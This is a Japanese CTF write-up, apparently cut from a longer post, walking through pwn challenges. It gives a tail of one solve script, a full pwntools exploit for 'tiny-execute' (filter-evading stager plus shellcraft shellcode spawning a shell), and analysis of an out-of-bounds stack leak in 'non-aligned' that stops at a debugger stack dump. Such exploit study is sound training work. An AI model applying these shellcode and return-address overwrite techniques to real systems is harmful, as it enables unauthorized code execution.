rl  = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn  = lambda *x, **y: p.send(*conv(*x), **y)
sl  = lambda *x, **y: p.sendline(*conv(*x), **y)
sa  = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
    # アーキテクチャの指定(何も指定しなければx64)
    if args.X32:
        context.arch = "i386"
        log.info("set i386")
    else:
        context.arch = "amd64"
        log.info("set amd64")
    
    # tmuxを使用する場合はTMUXを指定
    if args.TMUX:
        context.terminal  = ['tmux', 'split-window', '-h']
    
    # 実行方法の指定
    if args.REMOTE:
        # REMOTE=host:portの形で指定
        (host, port) = args.REMOTE.split(':')
        return connect(host, port)
    elif args.GDB:
        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([elf.path] + argv, *a, **kw)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
def padu64(b): 
    while len(b) < 8: 
        b = b + b"\x00" 
    return u64(b)
def show_addr(addr,name="libc_base"):
    print("------------------------------")
    log.info(f"{name} = {addr:#018x}")
    print("------------------------------")
p = start()
# phase1 rewrite max_rewrite
sla("Pos> ", "4 -10")
# phase2 rewrite return addr
sla("Pos> ", "6 28") #末尾1byte目の1bit目
sla("Pos> ", "2 28") #末尾1byte目の5bit目
sla("Pos> ", "0 28") #末尾1byte目の7bit目
# map[0x39]にアクセスするためには+1が必要だが、「map[y * MAP_SIZE / 8 + (x / 8)]」より、目的の場所+8することで、+1を作ることができる
# 目的の場所+8しても計算の方は「tmp ^= 1 << (7 - (x % 8));」と余りで計算しているため問題ない
sla("Pos> ", "15 28") #末尾2byte目の0bit目
sla("Pos> ", "13 28") #末尾2byte目の2bit目
# 残りを消化
sla("Pos> ", "0 0")
sla("Pos> ", "0 0")
sla("Pos> ", "0 0")
p.interactive()
tiny-execute(Easy)
概要
source code
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int check(char *buf, int size, char *forbidden, int forbidden_len){
	for(int i=0; i<size; i++){
		for(int j=0; j<forbidden_len; j++){
			if (buf[i] == forbidden[j]){
				return 0;
			}
		}
	}
	return 1;
}
int main(void){
	char forbidden[] = "cdflagbin/sh";
	char buf[24];
	dprintf(STDOUT_FILENO, "Input shellcode > ");
	int size = read(STDIN_FILENO, buf, sizeof(buf));
	if(!check(buf, size, forbidden, sizeof(forbidden))){
		dprintf(STDOUT_FILENO, "Forbidden characters detected!\n");
		return -1;
	}
	dprintf(STDOUT_FILENO, "OK! executing...\n");
	((int (*)(void))buf)();
	return 0;
}
security
RELRO           STACK CANARY      NX            PIE
Full RELRO      Canary found      NX enabled    PIE enabled
└─$ readelf -l tiny-execute                          
Elf file type is DYN (Position-Independent Executable file)
Entry point 0x10a0
There are 13 program headers, starting at offset 64
Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
                 0x00000000000002d8 0x00000000000002d8  R      0x8
  INTERP         0x0000000000000318 0x0000000000000318 0x0000000000000318
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x00000000000006c0 0x00000000000006c0  R      0x1000
  LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000
                 0x00000000000002e9 0x00000000000002e9  R E    0x1000
  LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000
                 0x000000000000015c 0x000000000000015c  R      0x1000
  LOAD           0x0000000000002da8 0x0000000000003da8 0x0000000000003da8
                 0x0000000000000268 0x0000000000000270  RW     0x1000
  DYNAMIC        0x0000000000002db8 0x0000000000003db8 0x0000000000003db8
                 0x00000000000001f0 0x00000000000001f0  RW     0x8
  NOTE           0x0000000000000338 0x0000000000000338 0x0000000000000338
                 0x0000000000000030 0x0000000000000030  R      0x8
  NOTE           0x0000000000000368 0x0000000000000368 0x0000000000000368
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_PROPERTY   0x0000000000000338 0x0000000000000338 0x0000000000000338
                 0x0000000000000030 0x0000000000000030  R      0x8
  GNU_EH_FRAME   0x0000000000002054 0x0000000000002054 0x0000000000002054
                 0x000000000000003c 0x000000000000003c  R      0x4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    0x10
  GNU_RELRO      0x0000000000002da8 0x0000000000003da8 0x0000000000003da8
                 0x0000000000000258 0x0000000000000258  R      0x1
checksecコマンドではNX有効と出ていますが、readelf -lでスタック領域の権限を確認してみると実行権限Eが付与されているため、今回はスタック領域のコードが実行可能です。そしてなんと入力値を実行してくれる場所まで用意してもらっちゃっています。ということで今回はシェルコードを作成するのですが、制約がいくつかありそうです。
今回の制約
今回は、入力値に以下の文字のいずれかが含まれているとその内容を実行せずに終了してしまいます。
char forbidden[] = "cdflagbin/sh";
自分も嵌ってしまったポイントなのですが、文字列のサイズを省略したとき、上記の文字に加えてヌル文字も末尾に付与されます。よって、まず1つ目の制約は「上記の文字+ヌル文字をシェルコードに含めることはできない」です。
続いて、シェルコードのサイズですが、
char buf[24];
dprintf(STDOUT_FILENO, "Input shellcode > ");
int size = read(STDIN_FILENO, buf, sizeof(buf));
read関数が使われているため、24バイトまで書き込むことができます。よって、2つ目の制約は「シェルコードの長さは最大24バイトまで」です。
シェルコード生成
制約を満たすシェルコードを作成するのですが、何せ制限時間が4時間と短く、自分はシェルコードにそんなに慣れていなかったため、まずは既存のデータベースから良いシェルコードがないか探しに行きました。対象は以下の2つです。
ヌル文字を含まないシェルコード、24バイト以下のシェルコードは多く見つかりますが、/bin/sh\0を含まないコードはなかなか見つかりませんでした。
そこで、試しに作ってみることにしました。真っ先に思いついた方法としては、/bin/shの半分の値を格納しておき、後で2倍にする方法です。こちらは、ヌル文字を含まずに24バイト以内で作成できるのであれば実際にいけると思います。しかし、この24バイト以内を達成するために、execve('sh',0,0)という形にしてしまった点で沼に嵌りました。どうやら、execve関数ではPATHから探索することはないようで、execlp、execvpといった関数でなければ探索しないようです。
よって、execve('/bin//sh',0,0)を呼び出すシェルコードを目指します。まず、関数ポインタ実行直前の各レジスタ状況を見てみましょう。
$rax   : 0x00007fffffffe010  ->  0x0000000000000a70 ('p\n'?)
$rbx   : 0x00007fffffffe158  ->  0x00007fffffffe436  ->  0x616b2f656d6f682f 'tiny[...]'
$rcx   : 0x0000000000000000
$rdx   : 0x0000000000000000
$rsp   : 0x00007fffffffdff0  ->  0x0000000000000000
$rbp   : 0x00007fffffffe030  ->  0x00007fffffffe0d0  ->  0x00007fffffffe130  ->  0x0000000000000000
$rsi   : 0x00007fffffffd6bc  ->  0x6365786520214b4f 'OK! executing...\n '
$rdi   : 0x00007fffffffd690  ->  0x00007fffffffd6bc  ->  0x6365786520214b4f 'OK! executing...\n '
$rip   : 0x00005555555552bd <main+0xc2>  ->  0x4800000000b8d0ff
$r8    : 0x0000000000000000
$r9    : 0x00007ffff7fca380  ->  0xe5894855fa1e0ff3
$r10   : 0x00007fffffffdd50  ->  0x0000000000800000
$r11   : 0x0000000000000202
$r12   : 0x0000000000000001
$r13   : 0x0000000000000000
$r14   : 0x0000555555557db0 <__do_global_dtors_aux_fini_array_entry>  ->  0x0000555555555140 <__do_global_dtors_aux>  ->  0x2ec53d80fa1e0ff3
$r15   : 0x00007ffff7ffd000 <_rtld_global>  ->  0x00007ffff7ffe2e0  ->  0x0000555555554000  ->  0x00010102464c457f
$eflags: 0x10246 [ident align vx86 RESUME nested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
これらのうち、rdxレジスタは元から0であるため、それ以外のレジスタを必要な値に設定する必要があります。x86-64のシェルコードを作る際は
などのサイトを使うと便利です。例えば以下のようにすればいけるでしょう。
0:  48 31 f6                xor    rsi,rsi
3:  56                      push   rsi
4:  48 bb 17 b1 34 b7 97    movabs rbx,0x34399797b734b117
b:  97 39 34
e:  48 d1 e3                shl    rbx,1
11: 48 ff c3                inc    rbx
14: 53                      push   rbx
15: 54                      push   rsp
16: 5f                      pop    rdi
17: 6a 3b                   push   0x3b
19: 58                      pop    rax
1a: 0f 05                   syscall
しかし、これだと4バイトもオーバーしてしまいます。もう少し削減する方法があるかもしれませんが、かなり厳しそうです。それこそ、今回のCTFは4時間であるため、ここを詰めるよりも何か他の方法を考えた方がよいでしょう。
方法としては2つ考えられます。
- ローカル変数のforbiddenに書かれた文字をうまく活用する
- stagerを作成
今回は後者の方法で突破を試みます。
stager作成
まず、read(0,buf,size)を呼び出します。現状、raxレジスタにはbufのアドレスが入っているため、これをrsiレジスタに移し、シェルコードを書き込めるだけのsizeを指定します。
0:  b2 ff                   mov    dl,0xff
2:  48 89 c6                mov    rsi,rax
5:  31 ff                   xor    edi,edi
7:  31 c0                   xor    eax,eax
9:  0f 05                   syscall
なお、readシステムコールの第1引数はint型なので32bit範囲で0になっていればよく、システムコール番号も下位32bitのみなのでxor eax,eaxとしています。これでbufのところに任意の書き込みができ、こちらの入力は制約も関係ないため、通常のシェルコードを入力することができます。しかし1点注意事項があり、bufの先頭から上書きをしているため、stagerのsyscallが終わった後のリターンアドレスを中途半端に書き換えてしまうとうまく動きません。
gdb-peda$ x/10i $rax
=> 0x7ffd794e33b0:      mov    dl,0xff
   0x7ffd794e33b2:      mov    rsi,rax
   0x7ffd794e33b5:      xor    edi,edi
   0x7ffd794e33b7:      xor    eax,eax
   0x7ffd794e33b9:      syscall
call rax実行直後のbufの中身を見てみると、先頭から10バイト目のところからsyscall命令が実行されています。syscall命令は2バイトの命令なので、リターンアドレスは先頭から12バイト目であることが予想されます。そのため、stagerでシェルコードを入力するときは、11バイト適当に消費してからシェルコードを書く必要があります。今回は、何もしないnop命令を11回書き込んだ後にシェルコードを入力しました。
解答
ans.py
from pwn import *
context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
    libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
    libc = ELF(args.LIBC)
else:
    libc = 0  
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される 
conv = lambda *x: tuple(
    str(y).encode() if isinstance(y, (int, float)) else
    y.encode() if isinstance(y, str) else
    y if isinstance(y, bytes) else
    (_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}"))  # raise TypeError
    for y in x
)
rc  = lambda *x, **y: p.recv(*conv(*x), **y)
ru  = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl  = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn  = lambda *x, **y: p.send(*conv(*x), **y)
sl  = lambda *x, **y: p.sendline(*conv(*x), **y)
sa  = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
    # アーキテクチャの指定(何も指定しなければx64)
    if args.X32:
        context.arch = "i386"
        log.info("set i386")
    else:
        context.arch = "amd64"
        log.info("set amd64")
    
    # tmuxを使用する場合はTMUXを指定
    if args.TMUX:
        context.terminal  = ['tmux', 'split-window', '-h']
    
    # 実行方法の指定
    if args.REMOTE:
        # REMOTE=host:portの形で指定
        (host, port) = args.REMOTE.split(':')
        return connect(host, port)
    elif args.GDB:
        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *main+190
continue
'''.format(**locals())
def padu64(b): 
    while len(b) < 8: 
        b = b + b"\x00" 
    return u64(b)
def show_addr(addr,name="libc_base"):
    print("------------------------------")
    log.info(f"{name} = {addr:#018x}")
    print("------------------------------")
p = start()
# phase1 stager
ru("Input shellcode > ")
stager = asm('''
mov dl,0xff
mov rsi,rax
xor edi,edi
xor eax,eax
syscall
''')
p.send(stager)
# phase2 set up shellcode
shellcode = asm('nop\n' * 11) + asm(shellcraft.sh())
p.send(shellcode)
p.interactive()
non-aligned(Medium)
概要
source code
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
struct entry {
    uint32_t reserved;
    uint64_t hash;
} __attribute__((__packed__));
uint64_t calc_hash(char *buf, size_t len) {
    uint64_t result = 0;
    for (size_t i = 0; i < len; i++) {
        result = result * 127 + buf[i];
    }
    return result;
}
size_t readline(char *buf, size_t size) {
    char ch;
    size_t i;
    for (i = 0; i < size; i++) {
        if (read(0, &ch, 1) == 0) {
            break;
        }
        if (ch == '\n') break;
        buf[i] = ch;
    }
    return i;
}
void chal() {
    int idx;
    struct entry entries[10];
    char buf[128];
    memset(entries, 0, sizeof(entries));
    while (1) {
        memset(buf, 0, sizeof(buf));
        printf("1. New hash\n2. Show hash\n> ");
        int menu = 0;
        scanf("%d", &menu);
        switch (menu) {
            case 1:
                printf("Index: ");
                scanf("%d%*c", &idx);
                printf("Input> ");
                size_t s = readline(buf, 100);
                entries[idx].hash = calc_hash(buf, s);
                break;
            case 2:
                printf("Index: ");
                scanf("%d%*c", &idx);
                printf("Hash: 0x%llx\n", entries[idx].hash);
                break;
            default:
                printf("bye.\n");
                return;
        }
    }
}
int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    chal();
    return 0;
}
security
RELRO           STACK CANARY      NX            PIE
Partial RELRO   Canary found      NX enabled    PIE enabled
└─$ readelf -l na
Elf file type is DYN (Position-Independent Executable file)
Entry point 0x10a0
There are 14 program headers, starting at offset 64
Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
                 0x0000000000000310 0x0000000000000310  R      0x8
  INTERP         0x00000000000003b4 0x00000000000003b4 0x00000000000003b4
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000850 0x0000000000000850  R      0x1000
  LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000
                 0x00000000000004c9 0x00000000000004c9  R E    0x1000
  LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000
                 0x0000000000000188 0x0000000000000188  R      0x1000
  LOAD           0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
                 0x0000000000000278 0x00000000000002a0  RW     0x1000
  DYNAMIC        0x0000000000002de0 0x0000000000003de0 0x0000000000003de0
                 0x00000000000001e0 0x00000000000001e0  RW     0x8
  NOTE           0x0000000000000350 0x0000000000000350 0x0000000000000350
                 0x0000000000000040 0x0000000000000040  R      0x8
  NOTE           0x0000000000000390 0x0000000000000390 0x0000000000000390
                 0x0000000000000024 0x0000000000000024  R      0x4
  NOTE           0x0000000000002168 0x0000000000002168 0x0000000000002168
                 0x0000000000000020 0x0000000000000020  R      0x4
  GNU_PROPERTY   0x0000000000000350 0x0000000000000350 0x0000000000000350
                 0x0000000000000040 0x0000000000000040  R      0x8
  GNU_EH_FRAME   0x000000000000204c 0x000000000000204c 0x000000000000204c
                 0x000000000000003c 0x000000000000003c  R      0x4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    0x10
  GNU_RELRO      0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
                 0x0000000000000230 0x0000000000000230  R      0x1
今回もNX bitが無効であるためシェルコードを作成することになりそうです。脆弱性としては、idxのチェックが特にないため、範囲外参照が挙げられます。スタックのアドレスをリークしてシェルコードを書き込み、リターンアドレスをそのシェルコードが格納されている先頭アドレスに書き換えることでうまくいきそうです。しかし、構造体のサイズがうまく調整されていて、簡単にはシェルコードを構築することができない問題となっています。
entry構造体
今回範囲外参照のできる配列entriesの型はentry構造体です。
struct entry {
    uint32_t reserved;
    uint64_t hash;
} __attribute__((__packed__));
通常であれば、構造体のサイズを求めるときはアライメントに気を付ける必要がありますが、今回は__attribute__((__packed__))が付いているので、各メンバのサイズの合計がそのまま構造体のサイズとなります。ということで、今回のentry構造体のサイズは0xcとなります。このサイズが絶妙で、今回入力したり出力したりできる部分がhashメンバのみであり、スタック上に配置されている配列entriesのhashメンバのところを0xffffffffとすると、
ptr +  0x0 | 00000000 ffffffff
ptr +  0x8 | ffffffff 00000001
ptr + 0x10 | ffffffff ffffffff
ptr + 0x18 | 00000002 ffffffff
ptr + 0x20 | ffffffff 00000003
ptr + 0x28 | ffffffff ffffffff
ptr + 0x30 | 00000004 ffffffff
ptr + 0x38 | ffffffff 00000005
ptr + 0x40 | ffffffff ffffffff
…
のような形で配置されていることが分かります。通常、x64環境においてリターンアドレス等が格納される場所は8バイトでアライメントされているため、配列のindex次第では8バイト一気に書き換えることができません。今回、配列entriesは8バイト境界のところから配置されているため、奇数のindexのときは、8バイト境界のところを参照することができます。
アドレスリークとリターンアドレス書き換え
上記の件に気を付けながら、まずはリターンアドレス書き換え先で使用するスタックのアドレスをリークします。どのindexを指定したら何がリークされるのか先に調べるのも良いですが、本番であれば時間がないため、以下のようにindexを0~50くらいまで指定してそれっぽいものがないか調べるとよいでしょう。
def menu(num):
    ru("1. New hash\n2. Show hash\n> ")
    sl(num)
def show(index):
    menu(2)
    ru("Index: ")
    sl(index)
    ru("Hash: ")
    return int(rl().rstrip(),16)
    
for i in range(50):
    print("i = " + str(i))
    print(hex(show(i)))
実行すると、
i = 41
0x7ffef9289f28
i = 42
0x556a
i = 43
0x0
i = 44
0xf9289f100000556a
i = 45
0x0
i = 46
0x0
i = 47
0x556aed2500c5
のように出てきます。デバッガで、値を確認すれば、indexが41の時の値がスタックのアドレスであることが分かると思います。同様にindexが47のときはelfのアドレスが出てくるのでこちらからelfのベースアドレスも分かります。
続いて、リターンアドレスを書き換えて、シェルコードを書き込んだ場所に向けるという方法が思いつくかと思います。
chal関数の逆アセンブル結果
gef> disas chal
Dump of assembler code for function chal:
   0x000055c3591cc282 <+0>:     push   rbp
   0x000055c3591cc283 <+1>:     mov    rbp,rsp
   0x000055c3591cc286 <+4>:     push   rbx
   0x000055c3591cc287 <+5>:     sub    rsp,0x128
   0x000055c3591cc28e <+12>:    mov    rax,QWORD PTR fs:0x28
   0x000055c3591cc297 <+21>:    mov    QWORD PTR [rbp-0x18],rax
   0x000055c3591cc29b <+25>:    xor    eax,eax
   0x000055c3591cc29d <+27>:    lea    rax,[rbp-0x120]
   0x000055c3591cc2a4 <+34>:    mov    edx,0x78
   0x000055c3591cc2a9 <+39>:    mov    esi,0x0
   0x000055c3591cc2ae <+44>:    mov    rdi,rax
   0x000055c3591cc2b1 <+47>:    call   0x55c3591cc060 <memset@plt>
   0x000055c3591cc2b6 <+52>:    lea    rax,[rbp-0xa0]
   0x000055c3591cc2bd <+59>:    mov    edx,0x80
   0x000055c3591cc2c2 <+64>:    mov    esi,0x0
   0x000055c3591cc2c7 <+69>:    mov    rdi,rax
   0x000055c3591cc2ca <+72>:    call   0x55c3591cc060 <memset@plt>
   0x000055c3591cc2cf <+77>:    lea    rax,[rip+0xd2e]        # 0x55c3591cd004
   0x000055c3591cc2d6 <+84>:    mov    rdi,rax
   0x000055c3591cc2d9 <+87>:    mov    eax,0x0
   0x000055c3591cc2de <+92>:    call   0x55c3591cc050 <printf@plt>
   0x000055c3591cc2e3 <+97>:    mov    DWORD PTR [rbp-0x12c],0x0
   0x000055c3591cc2ed <+107>:   lea    rax,[rbp-0x12c]
   0x000055c3591cc2f4 <+114>:   lea    rdx,[rip+0xd25]        # 0x55c3591cd020
   0x000055c3591cc2fb <+121>:   mov    rsi,rax
   0x000055c3591cc2fe <+124>:   mov    rdi,rdx
   0x000055c3591cc301 <+127>:   mov    eax,0x0
   0x000055c3591cc306 <+132>:   call   0x55c3591cc080 <__isoc23_scanf@plt>
   0x000055c3591cc30b <+137>:   mov    eax,DWORD PTR [rbp-0x12c]
   0x000055c3591cc311 <+143>:   cmp    eax,0x1
   0x000055c3591cc314 <+146>:   je     0x55c3591cc324 <chal+162>
   0x000055c3591cc316 <+148>:   cmp    eax,0x2
   0x000055c3591cc319 <+151>:   je     0x55c3591cc3cd <chal+331>
   0x000055c3591cc31f <+157>:   jmp    0x55c3591cc43f <chal+445>
   0x000055c3591cc324 <+162>:   lea    rax,[rip+0xcf8]        # 0x55c3591cd023
   0x000055c3591cc32b <+169>:   mov    rdi,rax
   0x000055c3591cc32e <+172>:   mov    eax,0x0
   0x000055c3591cc333 <+177>:   call   0x55c3591cc050 <printf@plt>
   0x000055c3591cc338 <+182>:   lea    rax,[rbp-0x130]
   0x000055c3591cc33f <+189>:   lea    rdx,[rip+0xce5]        # 0x55c3591cd02b
   0x000055c3591cc346 <+196>:   mov    rsi,rax
   0x000055c3591cc349 <+199>:   mov    rdi,rdx
   0x000055c3591cc34c <+202>:   mov    eax,0x0
   0x000055c3591cc351 <+207>:   call   0x55c3591cc080 <__isoc23_scanf@plt>
   0x000055c3591cc356 <+212>:   lea    rax,[rip+0xcd4]        # 0x55c3591cd031
   0x000055c3591cc35d <+219>:   mov    rdi,rax
   0x000055c3591cc360 <+222>:   mov    eax,0x0
   0x000055c3591cc365 <+227>:   call   0x55c3591cc050 <printf@plt>
   0x000055c3591cc36a <+232>:   lea    rax,[rbp-0xa0]
   0x000055c3591cc371 <+239>:   mov    esi,0x64
   0x000055c3591cc376 <+244>:   mov    rdi,rax
   0x000055c3591cc379 <+247>:   call   0x55c3591cc1f6 <readline>
   0x000055c3591cc37e <+252>:   mov    QWORD PTR [rbp-0x128],rax
   0x000055c3591cc385 <+259>:   mov    ebx,DWORD PTR [rbp-0x130]
   0x000055c3591cc38b <+265>:   mov    rdx,QWORD PTR [rbp-0x128]
   0x000055c3591cc392 <+272>:   lea    rax,[rbp-0xa0]
   0x000055c3591cc399 <+279>:   mov    rsi,rdx
   0x000055c3591cc39c <+282>:   mov    rdi,rax
   0x000055c3591cc39f <+285>:   call   0x55c3591cc199 <calc_hash>
   0x000055c3591cc3a4 <+290>:   mov    rcx,rax
   0x000055c3591cc3a7 <+293>:   movsxd rdx,ebx
   0x000055c3591cc3aa <+296>:   mov    rax,rdx
   0x000055c3591cc3ad <+299>:   add    rax,rax
   0x000055c3591cc3b0 <+302>:   add    rax,rdx
   0x000055c3591cc3b3 <+305>:   shl    rax,0x2
   0x000055c3591cc3b7 <+309>:   lea    rax,[rax-0x10]
   0x000055c3591cc3bb <+313>:   add    rax,rbp
   0x000055c3591cc3be <+316>:   sub    rax,0x110
   0x000055c3591cc3c4 <+322>:   mov    QWORD PTR [rax+0x4],rcx
   0x000055c3591cc3c8 <+326>:   jmp    0x55c3591cc460 <chal+478>
   0x000055c3591cc3cd <+331>:   lea    rax,[rip+0xc4f]        # 0x55c3591cd023
   0x000055c3591cc3d4 <+338>:   mov    rdi,rax
   0x000055c3591cc3d7 <+341>:   mov    eax,0x0
   0x000055c3591cc3dc <+346>:   call   0x55c3591cc050 <printf@plt>
   0x000055c3591cc3e1 <+351>:   lea    rax,[rbp-0x130]
   0x000055c3591cc3e8 <+358>:   lea    rdx,[rip+0xc3c]        # 0x55c3591cd02b
   0x000055c3591cc3ef <+365>:   mov    rsi,rax
   0x000055c3591cc3f2 <+368>:   mov    rdi,rdx
   0x000055c3591cc3f5 <+371>:   mov    eax,0x0
   0x000055c3591cc3fa <+376>:   call   0x55c3591cc080 <__isoc23_scanf@plt>
   0x000055c3591cc3ff <+381>:   mov    eax,DWORD PTR [rbp-0x130]
   0x000055c3591cc405 <+387>:   movsxd rdx,eax
   0x000055c3591cc408 <+390>:   mov    rax,rdx
   0x000055c3591cc40b <+393>:   add    rax,rax
   0x000055c3591cc40e <+396>:   add    rax,rdx
   0x000055c3591cc411 <+399>:   shl    rax,0x2
   0x000055c3591cc415 <+403>:   lea    rax,[rax-0x10]
   0x000055c3591cc419 <+407>:   add    rax,rbp
   0x000055c3591cc41c <+410>:   sub    rax,0x110
=> 0x000055c3591cc422 <+416>:   mov    rax,QWORD PTR [rax+0x4]
   0x000055c3591cc426 <+420>:   lea    rdx,[rip+0xc0c]        # 0x55c3591cd039
   0x000055c3591cc42d <+427>:   mov    rsi,rax
   0x000055c3591cc430 <+430>:   mov    rdi,rdx
   0x000055c3591cc433 <+433>:   mov    eax,0x0
   0x000055c3591cc438 <+438>:   call   0x55c3591cc050 <printf@plt>
   0x000055c3591cc43d <+443>:   jmp    0x55c3591cc460 <chal+478>
   0x000055c3591cc43f <+445>:   lea    rax,[rip+0xc01]        # 0x55c3591cd047
   0x000055c3591cc446 <+452>:   mov    rdi,rax
   0x000055c3591cc449 <+455>:   call   0x55c3591cc030 <puts@plt>
   0x000055c3591cc44e <+460>:   nop
   0x000055c3591cc44f <+461>:   mov    rax,QWORD PTR [rbp-0x18]
   0x000055c3591cc453 <+465>:   sub    rax,QWORD PTR fs:0x28
   0x000055c3591cc45c <+474>:   je     0x55c3591cc46a <chal+488>
   0x000055c3591cc45e <+476>:   jmp    0x55c3591cc465 <chal+483>
   0x000055c3591cc460 <+478>:   jmp    0x55c3591cc2b6 <chal+52>
   0x000055c3591cc465 <+483>:   call   0x55c3591cc040 <__stack_chk_fail@plt>
   0x000055c3591cc46a <+488>:   mov    rbx,QWORD PTR [rbp-0x8]
   0x000055c3591cc46e <+492>:   leave
   0x000055c3591cc46f <+493>:   ret
とりあえず、逆アセンブルの結果から、printf("Hash: 0x%llx\n", entries[idx].hash);のentries[idx].hashを取得しているchal+416にブレークポイントを立てて、その時のスタックとリターンアドレスの位置を確認してみると、
gef> telescope $sp 50 -n
$rsp  0x7ffff5f58a10|+0x0000|+000: 0x0000000200000000
      0x7ffff5f58a18|+0x0008|+001: 0x0000000000000000
$rax  0x7ffff5f58a20|+0x0010|+002: 0x0000000000000000
      0x7ffff5f58a28|+0x0018|+003: 0x0000000000000000
      0x7ffff5f58a30|+0x0020|+004: 0x0000000000000000
      0x7ffff5f58a38|+0x0028|+005: 0x0000000000000000
      0x7ffff5f58a40|+0x0030|+006: 0x0000000000000000
      0x7ffff5f58a48|+0x0038|+007: 0x0000000000000000
      0x7ffff5f58a50|+0x0040|+008: 0x0000000000000000
      0x7ffff5f58a58|+0x0048|+009: 0x0000000000000000
      0x7ffff5f58a60|+0x0050|+010: 0x0000000000000000
      0x7ffff5f58a68|+0x0058|+011: 0x0000000000000000
      0x7ffff5f58a70|+0x0060|+012: 0x0000000000000000
      0x7ffff5f58a78|+0x0068|+013: 0x0000000000000000
      0x7ffff5f58a80|+0x0070|+014: 0x0000000000000000
      0x7ffff5f58a88|+0x0078|+015: 0x0000000000000000
      0x7ffff5f58a90|+0x0080|+016: 0x0000000000000000
      0x7ffff5f58a98|+0x0088|+017: 0x0000000000000000
      0x7ffff5f58aa0|+0x0090|+018: 0x0000000000000000
      0x7ffff5f58aa8|+0x0098|+019: 0x0000000000000000
      0x7ffff5f58ab0|+0x00a0|+020: 0x0000000000000000
      0x7ffff5f58ab8|+0x00a8|+021: 0x0000000000000000
      0x7ffff5f58ac0|+0x00b0|+022: 0x0000000000000000
      0x7ffff5f58ac8|+0x00b8|+023: 0x0000000000000000
      0x7ffff5f58ad0|+0x00c0|+024: 0x0000000000000000
      0x7ffff5f58ad8|+0x00c8|+025: 0x0000000000000000
      0x7ffff5f58ae0|+0x00d0|+026: 0x0000000000000000
      0x7ffff5f58ae8|+0x00d8|+027: 0x0000000000000000
      0x7ffff5f58af0|+0x00e0|+028: 0x0000000000000000
      0x7ffff5f58af8|+0x00e8|+029: 0x0000000000000000
      0x7ffff5f58b00|+0x00f0|+030: 0x0000000000000000
      0x7ffff5f58b08|+0x00f8|+031: 0x0000000000000000
      0x7ffff5f58b10|+0x0100|+032: 0x0000000000000000
      0x7ffff5f58b18|+0x0108|+033: 0x0000000000000000
      0x7ffff5f58b20|+0x0110|+034: 0x0000000000000001
      0x7ffff5f58b28|+0x0118|+035: 0xa93a66f1f6317c00  <-  canary
      0x7ffff5f58b30|+0x0120|+036: 0x000055c3591cedd8  ->  0x000055c3591cc140  ->  0x2f1d3d80fa1e0ff3  <-  $r14
      0x7ffff5f58b38|+0x0128|+037: 0x00007ffff5f58c78  ->  0x00007ffff5f5a4a3  ->  0x616b2f656d6f682f 'na_pa[...]'  <-  $rbx                                               
$rbp  0x7ffff5f58b40|+0x0130|+038: 0x00007ffff5f58b50  ->  0x00007ffff5f58bf0  ->  0x00007ffff5f58c50  ->  ...
      0x7ffff5f58b48|+0x0138|+039: 0x000055c3591cc4b5 <main+0x45>  ->  0xf3c35d00000000b8  <-  retaddr[1]
      0x7ffff5f58b50|+0x0140|+040: 0x00007ffff5f58bf0  ->  0x00007ffff5f58c50  ->  0x0000000000000000
